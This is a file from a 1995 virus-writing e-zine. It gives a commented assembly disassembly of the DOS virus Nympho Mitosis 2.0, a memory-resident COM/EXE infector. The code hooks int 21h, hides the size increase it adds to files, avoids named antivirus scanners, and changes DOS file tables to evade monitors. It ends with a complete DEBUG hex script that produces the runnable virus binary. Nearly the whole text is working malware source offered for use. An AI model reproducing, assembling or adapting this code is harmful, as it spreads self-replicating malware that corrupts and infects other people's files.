Insane Reality issue #7 - (c)opyright 1995 Immortal Riot File 023 % Nympho Mitosis 2.0 by Memory Lapse/Phalcon/Skism % ---------------------------------------------------- This is not a contribution virus from ML, but a disassembly of one of his kinda old (but interesting) virus, namely NM v.2.0. It's a COM/EXE infector with infection upon executes. It will disinfect an infected file when it's being opened (both normal and extended). It won't however infect the file when it's closed, so I guess this virus is pretty easy to remove. (Just scan the HD). It features a lot of interesting techniques and for further information about the virus, study the source code yourself. Greetings to Memory Lapse. - The Unforgiven. .model tiny .code .286 org 100h viruslen equ (heap-start) viruslenword equ (endvirus-start)/2-1 viruslenpara equ 44h start: mov bp,0 ;Hardcoded delta offset dec ax int 21h ;Installation check mov bx,'ZM' jz restartcarrier push ds push es xor di,di mov ax,es dec ax mov ds,ax ;DS:0 points to MCB cmp [di],bh ;Is this block's MCB ;the last block in the ;chain? jne skip_install mov [di],bl ;Remove last block ;designation sub word ptr [di+3],viruslenpara ;Subtract virus size ;from blocksize sub word ptr [di+12h],viruslenpara ;subtract virus size ;from PSP next freeseg ;pointer ;(-=-) space created (-=-) mov ax,[di+12h] ;Get starting segment ;of created space mov ds,ax ;DS:0 points to start of it. inc ax mov es,ax ;ES=DS+1 mov [di],bh ;Start creation of MCB, ;Make this the last block ;in chain mov word ptr [di+1],8 ;PSP of owning program ;now points to DOS so ;this block won't ;be deallocated. mov word ptr [di+3],43h ;Blocksize=virussize. push cs pop ds ;DS=CS lea si,[bp+100h] ;SI points to start of ;virus code in memory xor di,100h ;This seems like a bit ;of bullshit to throw ;off heuristics. mov cx,viruslenword ;Virussize/2 rep movsw ;And copy the virus to the ;created block in high memory ;below TOM mov ax,offset int21 ;offset int21handler mov ds,cx ;CX=0 because of the REP MOVSW, ;nice! xchg ds:[21h*4],ax ;Offset of int21 vector mov es:int21offset,ax mov ax,es xchg ds:[21h*4+2],ax ;Segment of int21 vector mov es:int21seg,ax ;Now the original int21 ;vector is saved in ;the highmem block ;and the new one is ;installed. skip_install: pop es ;Restore segment registers. pop ds restartcarrier: lea si,[bp+restorebytes] cmp bx,cs:[si] ;if the buffer starts ;with 'MZ', then it's ;an EXE file. je restore_exe xchg bh,bl sub bx,cs:[si] jz restore_exe ;Corny way to compare :), ;CMP is non-destructive ;SUB, but to throw some ;proggies of track he ;probably did a ;destructive one. restore_com: mov di,100h push di mov byte ptr [di],0C3h ;C3 is RET opcode. call di ;Do a quick return ;to 100h, before ;restoration, again, ;fooling heuristics ;is probably the reasoning ;behind it. movsb movsw ;Now restore them. retn ;And return again. restore_exe: mov ax,es add ax,10h add ax,cs:[si+16h] ;Fix the CS to restart ;EXE at. push ax push word ptr cs:[si+14h] retf ;And hop there.. int21: cmp ax,-1 ;Installation check? jne no_chk inc ax ;inc ax will turn on ;zero flag for ax was ;-1 before. Nice! iret ;Return result.. no_chk: cmp ah,4Eh je handlestealth cmp ah,4Fh je handlestealth cmp ah,11h je fcbstealth cmp ah,12h je fcbstealth push es push ds pusha xor bp,bp cmp ax,6C00h ;Extended open je extended_open cmp ah,3Dh ;Normal open je go_open sub ax,4B00h jz go_execute ;Use destructive CMP ;to check for file execute. pass_int: popa ;Restore all regs pop ds pop es jmporg21: db 0eah ;JMP FAR opcode int21offset dw 0 int21seg dw 0 extended_open: xchg dx,si go_open: jmp open go_execute: jmp execute handlestealth: call dofunction jc exitstealth ;Exit if no file to ;stealth info of. pusha push es mov ah,2Fh int 21h ;Get DTA mov ax,es:[bx+16h] ;Get filetime from DTA mov cx,es:[bx+18h] ;Get filedate from DTA and ax,1Fh and cx,1Fh dec cx xor ax,cx jnz not_infected sub word ptr es:[bx+1Ah],viruslen sbb es:[bx+1Ch],ax ;Subtract virussize ;from filesize. not_infected: pop es popa ; Restore all regs exitstealth: retf 2 ;Return from an int, ;but don't restore flags. fcbstealth: call dofunction test al,al jnz exitfcbstealth ;no file found to stealth ;info of. pusha push es mov ah,51h int 21h ;Get active PSP segment mov es,bx sub bx,es:[16h] ;Subtract ;segment for parent/self jnz nostealth mov bx,dx mov al,[bx] ;AL is first byte of FCB push ax mov ah,2Fh int 21h ;Get DTA pointer. pop ax inc al jnz no_extended_fcb ;Test for FCB type. add bx,7 no_extended_fcb: mov ax,es:[bx+17h] ;Get filetime from FCB mov cx,es:[bx+19h] ;Get filedate from FCB and ax,1Fh and cx,1Fh dec cx xor ax,cx jnz nostealth sub word ptr es:[bx+1Dh],viruslen sbb es:[bx+1Fh],ax ;Subtract virussize ;from filesize. nostealth: pop es popa exitfcbstealth: iret db '[Nympho Mitosis] v2.0', 0 ;Virusname db 'Copyright (c) 1993 Memory Lapse',0 ;Author and copyright db 'Phalcon/Skism Canada',0 ;Groupname ; ************************************************************* ; (-=-) DISINFECTION ROUTINE ON FILE OPEN (-=-) ; ************************************************************* open: call opendsdx mov ax,es:[di+0Dh] ;Get filetime from DCB/SFT mov cx,es:[di+0Fh] ;Get filedate from DCB/SFT and ax,1Fh and cx,1Fh dec cx sub ax,cx jnz go_endinfect call seek_end push dx ;Save push ax ;filesize sub ax,18h ;Subtract buffersize sbb dx,bp ;from filesize. mov es:[di+15h],ax ;Alter filepos in DCB/SFT mov es:[di+17h],dx ;to filesize-18h mov ah,3Fh mov cx,18h mov dx,offset heap int 21h ;Read last 18h bytes of file. call seek_start mov ah,40h int 21h ;Write 18h bytes to start ;of file pop ax pop dx ;Restore filesize to DX:AX sub ax,viruslen sbb dx,bp ;filesize-virussize mov es:[di+15h],ax mov es:[di+17h],dx ;Seek to start of virus ;in file. mov ah,40h mov cx,bp int 21h ;Truncate file at start ;of virus code, effectively ;removing it from the file. mov cx,es:[di+0Dh] ;CX=filetime from DCB/SFT mov dx,es:[di+0Fh] ;DX=filetime from DCB/SFT and cl,0E0h inc cl jmp restoredatetime go_endinfect: jmp endinfect execute: call opendsdx mov ax,es:[di+0Dh] ;Get filetime from DCB/SFT mov cx,es:[di+0Fh] ;Get filedate from DCB/SFT and ax,1Fh and cx,1Fh dec cx xor ax,cx jz go_endinfect2 mov ah,3Fh mov cx,18h mov dx,offset restorebytes int 21h ;Read first 18h bytes ;of file to buffer. mov ax,'ZM' mov si,offset heap mov dx,word ptr [restorebytes] cmp ax,dx ;Does it start with MZ? je infect_exe ;If so, it's an EXE file xchg ah,al sub ax,dx ;Does it start with ZM? jz infect_exe ;If so, it's an EXE file. call seek_end mov word ptr ds:[101h],ax ;Enter new value ;in hardcoded delta offset. mov cx,3 sub ax,cx mov byte ptr [si],0E9h mov [si+1],ax ;Leading JMP constructed ;in temp. buffer push cx jmp short finish_infect go_endinfect2: jmp endinfect infect_exe: mov ax,es:[di+20h] ;DI+20h points to ;start of filename. cmp ax,'BT' ;TB*.* je go_endinfect2 cmp ax,'-F' ;F-PROT je go_endinfect2 cmp ax,'CS' ;McAfee SCAN je go_endinfect2 sub ax,'LC' ;McAfee CLEAN jz go_endinfect2 call seek_start mov ah,3Fh push cx mov dx,si int 21h ;Load first 18h bytes again, ;into temp buffer this time. call seek_end ; (-) EXE HEADER MODIFICATIONS (-) push dx push ax ;Save filesize add ax,viruslen adc dx,bp ;Add virussize. mov cx,200h div cx or dx,dx jz no_hiccup inc ax no_hiccup: ;Size now converted ;to 512-byte pages. mov [si+2],dx ;Insert new filesize mov [si+4],ax ;into EXE header. ;(must be in pages) pop ax pop dx ;Restore filesize. mov cx,10h div cx ;Convert to 16-byte para's. sub ax,[si+8] ;Subtract headersize. mov [si+14h],dx ;Set starting CS:IP mov [si+16h],ax ;to end of EXE sub dx,100h mov word ptr ds:[101h],dx ;Insert new hardcoded ;delta offset finish_infect: mov ah,40h mov cx,viruslen mov dx,100h int 21h ;Append virus to file. call seek_start mov ah,40h pop cx mov dx,si int 21h ;Overwrite leading bytes ;with modified buffer. mov cx,es:[di+0Dh] ;Get filetime from DCB/SFT mov dx,es:[di+0Fh] ;Get filedate from DCB/SFT push dx ;Set steath marker and cx,0FFE0h and dx,1Fh dec dx or cx,dx pop dx restoredatetime: mov ax,5701h int 21h endinfect: mov ah,3Eh int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle jmp pass_int opendsdx: mov ax,3D00h ;Open file read-only ;(won't trigger most ;active monitors) call dofunction xchg bx,ax push bx push cs push cs pop ds pop es mov ax,1220h ;Get DCB number for ;just opened file. int 2Fh ; *UNDOCUMENTED* mov ax,1216h ;Now get DCB/SFT address ;(table with info ;on the opened file) mov bl,es:[di] int 2Fh ;* UNDOCUMENTED * pop bx mov word ptr es:[di+2],2 ;Change read mode ;to read/write via direct ;DCB/SFT fiddling. ret seek_start: mov es:[di+15h],bp mov es:[di+17h],bp ;Zero fileposition ret seek_end: push ds lds ax,dword ptr es:[di+11h] ;Load filesize from DCB/SFT mov dx,ds mov es:[di+15h],ax ;Change current fileposition mov es:[di+17h],dx ;in DCB/SFT to EOF pop ds ret dofunction: pushf push cs call jmporg21 ret restorebytes db 0cdh, 20h db 16h dup (0) heap: db 18h dup (?) endvirus: end start ================================================================== ============== N NM200.COM E 0100 BD 00 00 48 CD 21 BB 4D 5A 74 53 1E 06 33 FF 8C E 0110 C0 48 8E D8 38 3D 75 44 88 1D 83 6D 03 44 83 6D E 0120 12 44 8B 45 12 8E D8 40 8E C0 88 3D C7 45 01 08 E 0130 00 C7 45 03 43 00 0E 1F 8D B6 00 01 81 F7 00 01 E 0140 B9 94 01 F3 A5 B8 89 01 8E D9 87 06 84 00 26 A3 E 0150 BC 01 8C C0 87 06 86 00 26 A3 BE 01 07 1F 8D B6 E 0160 FB 03 2E 3B 1C 74 13 86 FB 2E 2B 1C 74 0C BF 00 E 0170 01 57 C6 05 C3 FF D7 A4 A5 C3 8C C0 05 10 00 2E E 0180 03 44 16 50 2E FF 74 14 CB 3D FF FF 75 02 40 CF E 0190 80 FC 4E 74 33 80 FC 4F 74 2E 80 FC 11 74 56 80 E 01A0 FC 12 74 51 06 1E 60 33 ED 3D 00 6C 74 12 80 FC E 01B0 3D 74 0F 2D 00 4B 74 0D 61 1F 07 EA 00 00 00 00 E 01C0 87 D6 E9 C2 00 E9 20 01 E8 2A 02 72 25 60 06 B4 E 01D0 2F CD 21 26 8B 47 16 26 8B 4F 18 25 1F 00 83 E1 E 01E0 1F 49 33 C1 75 0A 26 81 6F 1A 13 03 26 19 47 1C E 01F0 07 61 CA 02 00 E8 FD 01 84 C0 75 3F 60 06 B4 51 E 0200 CD 21 8E C3 26 2B 1E 16 00 75 2E 8B DA 8A 07 50 E 0210 B4 2F CD 21 58 FE C0 75 03 83 C3 07 26 8B 47 17 E 0220 26 8B 4F 19 25 1F 00 83 E1 1F 49 33 C1 75 0A 26 E 0230 81 6F 1D 13 03 26 19 47 1F 07 61 CF 5B 4E 79 6D E 0240 70 68 6F 20 4D 69 74 6F 73 69 73 5D 20 76 32 2E E 0250 30 00 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 E 0260 31 39 39 33 20 4D 65 6D 6F 72 79 20 4C 61 70 73 E 0270 65 00 50 68 61 6C 63 6F 6E 2F 53 6B 69 73 6D 20 E 0280 43 61 6E 61 64 61 00 E8 30 01 26 8B 45 0D 26 8B E 0290 4D 0F 25 1F 00 83 E1 1F 49 2B C1 75 48 E8 44 01 E 02A0 52 50 2D 18 00 1B D5 26 89 45 15 26 89 55 17 B4 E 02B0 3F B9 18 00 BA 13 04 CD 21 E8 1F 01 B4 40 CD 21 E 02C0 58 5A 2D 13 03 1B D5 26 89 45 15 26 89 55 17 B4 E 02D0 40 8B CD CD 21 26 8B 4D 0D 26 8B 55 0F 80 E1 E0 E 02E0 FE C1 E9 C9 00 E9 CB 00 E8 CF 00 26 8B 45 0D 26 E 02F0 8B 4D 0F 25 1F 00 83 E1 1F 49 33 C1 74 32 B4 3F E 0300 B9 18 00 BA FB 03 CD 21 B8 4D 5A BE 13 04 8B 16 E 0310 FB 03 3B C2 74 1D 86 E0 2B C2 74 17 E8 C5 00 A3 E 0320 01 01 B9 03 00 2B C1 C6 04 E9 89 44 01 51 EB 57 E 0330 E9 80 00 26 8B 45 20 3D 54 42 74 F4 3D 46 2D 74 E 0340 EF 3D 53 43 74 EA 2D 43 4C 74 E5 E8 8D 00 B4 3F E 0350 51 8B D6 CD 21 E8 8C 00 52 50 05 13 03 13 D5 B9 E 0360 00 02 F7 F1 0B D2 74 01 40 89 54 02 89 44 04 58 E 0370 5A B9 10 00 F7 F1 2B 44 08 89 54 14 89 44 16 81 E 0380 EA 00 01 89 16 01 01 B4 40 B9 13 03 BA 00 01 CD E 0390 21 E8 47 00 B4 40 59 8B D6 CD 21 26 8B 4D 0D 26 E 03A0 8B 55 0F 52 83 E1 E0 83 E2 1F 4A 0B CA 5A B8 01 E 03B0 57 CD 21 B4 3E CD 21 E9 FE FD B8 00 3D E8 35 00 E 03C0 93 53 0E 0E 1F 07 B8 20 12 CD 2F B8 16 12 26 8A E 03D0 1D CD 2F 5B 26 C7 45 02 02 00 C3 26 89 6D 15 26 E 03E0 89 6D 17 C3 1E 26 C5 45 11 8C DA 26 89 45 15 26 E 03F0 89 55 17 1F C3 9C 0E E8 C1 FD C3 CD 20 00 00 00 E 0400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0410 00 00 00 RCX 0313 W Q